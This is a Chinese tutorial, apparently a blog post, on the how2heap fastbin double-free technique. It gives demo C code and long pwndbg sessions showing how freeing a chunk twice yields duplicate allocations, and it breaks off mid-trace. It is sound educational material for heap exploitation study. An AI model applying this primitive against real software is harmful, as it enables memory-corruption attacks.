how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。
这个程序更具体地展示了通过欺骗 malloc 来返回一个我们可控的区域的指针(在这个例子中,我们可以返回一个栈指针)。
#include
#include
#include
int main()
{
fprintf(stderr, "这个例子演示了 fastbin 的 double free\n");
fprintf(stderr, "首先申请了 3 个 chunk\n");
char* a = malloc(8);
strcpy(a, "AAAAAAAA");
char* b = malloc(8);
strcpy(b, "BBBBBBBB");
char* c = malloc(8);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "第一个 malloc(8): %p\n", a);
fprintf(stderr, "第二个 malloc(8): %p\n", b);
fprintf(stderr, "第三个 malloc(8): %p\n", c);
fprintf(stderr, "free 掉第一个\n");
free(a);
fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
// free(a);
fprintf(stderr, "我们先 free %p.\n", b);
free(b);
fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
free(a);
fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);
char* d = malloc(8);
char* e = malloc(8);
char* f = malloc(8);
strcpy(d, "DDDDDDDD");
strcpy(e, "EEEEEEEE");
strcpy(f, "FFFFFFFF");
fprintf(stderr, "第一次 malloc(8): %p\n", d);
fprintf(stderr, "第二次 malloc(8): %p\n", e);
fprintf(stderr, "第三次 malloc(8): %p\n", f);
}
gcc -g f
astbin_dup.c -o f
astbin_dup
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup
这个例子演示了 fastbin 的 double free
首先申请了 3 个 chunk
第一个 malloc(8): 0x602010
第二个 malloc(8): 0x602030
第三个 malloc(8): 0x602050
free 掉第一个
当我们再次 free 0x602010 的时候, 程序将会崩溃因为 0x602010 在 free 链表的第一个位置上
我们先 free 0x602030.
现在我们就可以再次 free 0x602010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x602010, 0x602030, 0x602010 ]. 如果我们 malloc 三次, 我们会得到两次 0x602010
第一次 malloc(8): 0x602010
第二次 malloc(8): 0x602030
第三次 malloc(8): 0x602010
[Inferior 1 (process 130) exited normally]
pwndbg>
可以看到首先分配三块内存,当free掉第一块内存之后,再free一次该内存块是不行的,因为这时候这块内存刚好在对应的free-list的顶部,再次free这块内存就会被检查到,这里就free第二块内存。现在我们再次free第一块内存,因为它已经不在链表顶部了。
这时候的 free-list 有这三块内存 [0x2502010, 0x2502030, 0x2502010],如果我们malloc三次的话,就会得到0x2502010两次。
使用pwndbg逐步调试,首先malloc 3个chunk。
root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup
这个例子演示了 fastbin 的 double free
首先申请了 3 个 chunk
第一个 malloc(8): 0x602010
第二个 malloc(8): 0x602030
第三个 malloc(8): 0x602050
free 掉第一个
当我们再次 free 0x602010 的时候, 程序将会崩溃因为 0x602010 在 free 链表的第一个位置上
我们先 free 0x602030.
现在我们就可以再次 free 0x602010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x602010, 0x602030, 0x602010 ]. 如果我们 malloc 三次, 我们会得到两次 0x602010
第一次 malloc(8): 0x602010
第二次 malloc(8): 0x602030
第三次 malloc(8): 0x602010
[Inferior 1 (process 130) exited normally]
pwndbg> list
1 #include
2 #include
3 #include
4
5 int main()
6 {
7 fprintf(stderr, "这个例子演示了 fastbin 的 double free\n");
8
9 fprintf(stderr, "首先申请了 3 个 chunk\n");
10 char* a = malloc(8);
pwndbg> n
The program is not being run.
pwndbg> b 19
Breakpoint 1 at 0x40072d: file fastbin_dup.c, line 19.
pwndbg> b 24
Breakpoint 2 at 0x400774: file fastbin_dup.c, line 24.
pwndbg> b 29
Breakpoint 3 at 0x4007be: file fastbin_dup.c, line 29.
pwndbg> b 31
Breakpoint 4 at 0x4007e7: file fastbin_dup.c, line 31.
pwndbg> b 36
Breakpoint 5 at 0x400840: file fastbin_dup.c, line 36.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup
这个例子演示了 fastbin 的 double free
首先申请了 3 个 chunk
第一个 malloc(8): 0x602010
第二个 malloc(8): 0x602030
Breakpoint 1, main () at fastbin_dup.c:19
19 fprintf(stderr, "第三个 malloc(8): %p\n", c);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1e
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0xb8e48cbae4acace7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x1e
R10 0x0
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 'AAAAAAAA'
RIP 0x40072d (main+231) ◂— mov rax, qword ptr [rip + 0x20092c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x40072d mov rax, qword ptr [rip + 0x20092c] <0x601060>
0x400734 mov rdx, qword ptr [rbp - 0x20]
0x400738 mov esi, 0x4009e6
0x40073d mov rdi, rax
0x400740 mov eax, 0
0x400745 call fprintf@plt <0x400510>
0x40074a mov rax, qword ptr [rip + 0x20090f] <0x601060>
0x400751 mov rcx, rax
0x400754 mov edx, 0x12
0x400759 mov esi, 1
0x40075e mov edi, 0x4009ff
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
14 char* c = malloc(8);
15 strcpy(c, "CCCCCCCC");
16
17 fprintf(stderr, "第一个 malloc(8): %p\n", a);
18 fprintf(stderr, "第二个 malloc(8): %p\n", b);
► 19 fprintf(stderr, "第三个 malloc(8): %p\n", c);
20
21 fprintf(stderr, "free 掉第一个\n");
22 free(a);
23
24 fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 'AAAAAAAA'
01:0008│ 0x7fffffffe598 —▸ 0x602030 ◂— 'BBBBBBBB'
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40072d main+231
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup.c:19
pwndbg> heap
heapbase : 0x602000
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Used None None
0x602020 0x0 0x20 Used None None
0x602040 0x0 0x20 Used None None
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
chunk a被添加到fastbins中。
pwndbg> c
Continuing.
第三个 malloc(8): 0x602050
free 掉第一个
Breakpoint 2, main () at fastbin_dup.c:24
24 fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
R8 0x602010 ◂— 0x0
R9 0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */
R10 0x8b8
R11 0x7ffff7a914f0 (free) ◂— push r13
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 0x0
RIP 0x400774 (main+302) ◂— mov rax, qword ptr [rip + 0x2008e5]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400774 mov rax, qword ptr [rip + 0x2008e5] <0x601060>
0x40077b mov rcx, qword ptr [rbp - 0x30]
0x40077f mov rdx, qword ptr [rbp - 0x30]
0x400783 mov esi, 0x400a18
0x400788 mov rdi, rax
0x40078b mov eax, 0
0x400790 call fprintf@plt <0x400510>
0x400795 mov rax, qword ptr [rip + 0x2008c4] <0x601060>
0x40079c mov rdx, qword ptr [rbp - 0x28]
0x4007a0 mov esi, 0x400a7d
0x4007a5 mov rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
19 fprintf(stderr, "第三个 malloc(8): %p\n", c);
20
21 fprintf(stderr, "free 掉第一个\n");
22 free(a);
23
► 24 fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
25 // free(a);
26 fprintf(stderr, "我们先 free %p.\n", b);
27 free(b);
28
29 fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffe598 —▸ 0x602030 ◂— 'BBBBBBBB'
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400774 main+302
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup.c:24
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> heap
heapbase : 0x602000
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Freed 0x0 None
0x602020 0x0 0x20 Used None None
0x602040 0x0 0x20 Used None None
pwndbg>
chunk b 被添加到fastbins中,可以看到在b的fd指针那里已经改成了chunk a的地址了。
pwndbg> c
Continuing.
当我们再次 free 0x602010 的时候, 程序将会崩溃因为 0x602010 在 free 链表的第一个位置上
我们先 free 0x602030.
Breakpoint 3, main () at fastbin_dup.c:29
29 fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602000 ◂— 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x602000 ◂— 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x602020 ◂— 0x0
R8 0x602030 —▸ 0x602000 ◂— 0x0
R9 0x0
R10 0x0
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 0x0
RIP 0x4007be (main+376) ◂— mov rax, qword ptr [rip + 0x20089b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4007be mov rax, qword ptr [rip + 0x20089b] <0x601060>
0x4007c5 mov rdx, qword ptr [rbp - 0x30]
0x4007c9 mov esi, 0x400a98
0x4007ce mov rdi, rax
0x4007d1 mov eax, 0
0x4007d6 call fprintf@plt <0x400510>
0x4007db mov rax, qword ptr [rbp - 0x30]
0x4007df mov rdi, rax
0x4007e2 call free@plt <0x4004f0>
0x4007e7 mov rax, qword ptr [rip + 0x200872] <0x601060>
0x4007ee mov rdi, qword ptr [rbp - 0x30]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
24 fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
25 // free(a);
26 fprintf(stderr, "我们先 free %p.\n", b);
27 free(b);
28
► 29 fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
30 free(a);
31 fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);
32
33 char* d = malloc(8);
34 char* e = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffe598 —▸ 0x602030 —▸ 0x602000 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4007be main+376
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup.c:29
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Freed 0x0 None
0x602020 0x0 0x20 Freed 0x602000 None
0x602040 0x0 0x20 Used None None
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg>
此时,由于chunk a处于bin中第2块的位置,不会被double-free的检查机制检查出来,所以第三个free之后,chunk a再次被添加到fastbins 中。chunk a和chunk b形成了一个环
pwndbg> c
Continuing.
现在我们就可以再次 free 0x602010 了, 因为他现在不在 free 链表的第一个位置上
Breakpoint 4, main () at fastbin_dup.c:31
31 fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602020 ◂— 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x602020 ◂— 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b28 (main_arena+8) —▸ 0x602000 ◂— 0x0
R8 0x602010 —▸ 0x602020 ◂— 0x0
R9 0x0
R10 0xe8be93e920656572
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 —▸ 0x602020 ◂— 0x0
RIP 0x4007e7 (main+417) ◂— mov rax, qword ptr [rip + 0x200872]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4007d1 mov eax, 0
0x4007d6 call fprintf@plt <0x400510>
0x4007db mov rax, qword ptr [rbp - 0x30]
0x4007df mov rdi, rax
0x4007e2 call free@plt <0x4004f0>
► 0x4007e7 mov rax, qword ptr [rip + 0x200872] <0x601060>
0x4007ee mov rdi, qword ptr [rbp - 0x30]
0x4007f2 mov rsi, qword ptr [rbp - 0x30]
0x4007f6 mov rcx, qword ptr [rbp - 0x28]
0x4007fa mov rdx, qword ptr [rbp - 0x30]
0x4007fe mov r9, rdi
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
26 fprintf(stderr, "我们先 free %p.\n", b);
27 free(b);
28
29 fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
30 free(a);
► 31 fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);
32
33 char* d = malloc(8);
34 char* e = malloc(8);
35 char* f = malloc(8);
36 strcpy(d, "DDDDDDDD");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 —▸ 0x602020 ◂— 0x0
01:0008│ 0x7fffffffe598 —▸ 0x602030 —▸ 0x602000 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x400550 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffe5b0 —▸ 0x7fffffffe6a0 ◂— 0x1
05:0028│ 0x7fffffffe5b8 ◂— 0x0
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4007e7 main+417
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup.c:31
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x20 Freed 0x602020 None
0x602020 0x0 0x20 Freed 0x602000 None
0x602040 0x0 0x20 Used None None
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
可以看到0x4444444444444444被改成了 0x4646464646464646,是因为后来申请的 f 跟 d 指向同一块内存区域。
pwndbg> n
37 strcpy(e, "EEEEEEEE");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602010 ◂— 'DDDDDDDD'
RBX 0x0
RCX 0x4444444444444444 ('DDDDDDDD')
RDX 0x602010 ◂— 'DDDDDDDD'
RDI 0x0
RSI 0x7ffff7dd1b20 (main_arena) ◂— 0x0
R8 0x602020 ◂— 0x0
R9 0x7d
R10 0x0
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 'DDDDDDDD'
RIP 0x400855 (main+527) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x40083c mov qword ptr [rbp - 8], rax
0x400840 mov rax, qword ptr [rbp - 0x18]
0x400844 movabs rcx, 0x4444444444444444
0x40084e mov qword ptr [rax], rcx
0x400851 mov byte ptr [rax + 8], 0
► 0x400855 mov rax, qword ptr [rbp - 0x10]
0x400859 movabs rsi, 0x4545454545454545
0x400863 mov qword ptr [rax], rsi
0x400866 mov byte ptr [rax + 8], 0
0x40086a mov rax, qword ptr [rbp - 8]
0x40086e movabs rcx, 0x4646464646464646
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
32
33 char* d = malloc(8);
34 char* e = malloc(8);
35 char* f = malloc(8);
36 strcpy(d, "DDDDDDDD");
► 37 strcpy(e, "EEEEEEEE");
38 strcpy(f, "FFFFFFFF");
39 fprintf(stderr, "第一次 malloc(8): %p\n", d);
40 fprintf(stderr, "第二次 malloc(8): %p\n", e);
41 fprintf(stderr, "第三次 malloc(8): %p\n", f);
42 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 'DDDDDDDD'
01:0008│ 0x7fffffffe598 —▸ 0x602030 —▸ 0x602000 ◂— 0x0
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x602010 ◂— 'DDDDDDDD'
04:0020│ 0x7fffffffe5b0 —▸ 0x602030 —▸ 0x602000 ◂— 0x0
05:0028│ 0x7fffffffe5b8 —▸ 0x602010 ◂— 'DDDDDDDD'
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400855 main+527
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 'DDDDDDDD'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4444444444444444 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> n
38 strcpy(f, "FFFFFFFF");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602030 ◂— 'EEEEEEEE'
RBX 0x0
RCX 0x4444444444444444 ('DDDDDDDD')
RDX 0x602010 ◂— 'DDDDDDDD'
RDI 0x0
RSI 0x4545454545454545 ('EEEEEEEE')
R8 0x602020 ◂— 0x0
R9 0x7d
R10 0x0
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 'DDDDDDDD'
RIP 0x40086a (main+548) ◂— mov rax, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400851 mov byte ptr [rax + 8], 0
0x400855 mov rax, qword ptr [rbp - 0x10]
0x400859 movabs rsi, 0x4545454545454545
0x400863 mov qword ptr [rax], rsi
0x400866 mov byte ptr [rax + 8], 0
► 0x40086a mov rax, qword ptr [rbp - 8]
0x40086e movabs rcx, 0x4646464646464646
0x400878 mov qword ptr [rax], rcx
0x40087b mov byte ptr [rax + 8], 0
0x40087f mov rax, qword ptr [rip + 0x2007da] <0x601060>
0x400886 mov rdx, qword ptr [rbp - 0x18]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
